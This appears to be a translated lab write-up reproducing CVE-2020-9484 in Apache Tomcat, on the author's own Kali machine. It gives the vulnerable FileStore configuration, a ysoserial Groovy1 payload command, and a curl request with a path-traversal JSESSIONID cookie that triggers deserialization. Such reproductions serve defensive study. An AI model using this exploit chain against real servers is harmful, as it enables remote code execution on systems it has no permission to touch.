statement

study hard, improve every day

Vulnerability description

Apache Tomcat is an open source Java-based web application software container that runs servlet and JSP web application software.

RCE caused by misconfiguration and LFI and deserialization vulnerabilities of org.apache.catalina.session.FileStore.

When org.apache.catalina.session.PersistentManager is configured and org.apache.catalina.session.FileStore is used to store the session, the user can use an LFI vulnerability in org.apache.catalina.session.FileStore to read anything on the server Files ending in .session. Then run the .session file through deserialization.

The default is to use org.apache.catalina.session.StandardManager to store sessions in memory, while PersistentManager swaps out unused sessions to reduce memory usage.

Sphere of influence

10.0.0-M1 to 10.0.0-M4

9.0.0.M1 to 9.0.34

8.5.0 to 8.5.54

7.0.0 to 7.0.103

Recurrence process

10.0.0-M4 is used here

I built tomcat on my kali, so I still attack myself, the source and destination IP are both 192.168.239.139

Here to use tomcat, groovy and deserialization tool ysoserial

tomcat build

access

https://repo1.maven.org/maven2/org/apache/tomcat/tomcat/10.0.0-M4/

I downloaded tar.gz

Then put it in kali, unzip

Modify tomcat/conf/context.xlm, add Manager, and add

<Manager className="org.apache.catalina.session.PersistentManager">
    <Store className="org.apache.catalina.session.FileStore" directory="/tomcat/sessions/"/>
</Manager>

The contest.xlm after joining is

Download groovy-2.3.9.jar

https://mvnrepository.com/artifact/org.codehaus.groovy/groovy/2.3.9

Also choose, I am a big person, only after verification code verification can be downloaded, I download the jar package here

Put it in tomcat's lib

Enter the bin directory of tomcat and execute the startup command to start tomcat

./catalina.sh start

Use the ysoserial tool to attack, you need to download the ysoserial jar package in advance, download address

https://jitpack.io/com/github/frohoff/ysoserial/master-30099844c6-1/ysoserial-master-30099844c6-1.jar

After downloading, execute

java -jar ysoserial-master-30099844c6-1.jar Groovy1 "touch /tmp/cve-2020-9484" > /tmp/test.session

Re-execute, because my tomcat is built on kali, I will fill in my own IP here

curl 'http://127.0.0.1:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../tmp/test'

Check whether the touch command is executed successfully

ls /tmp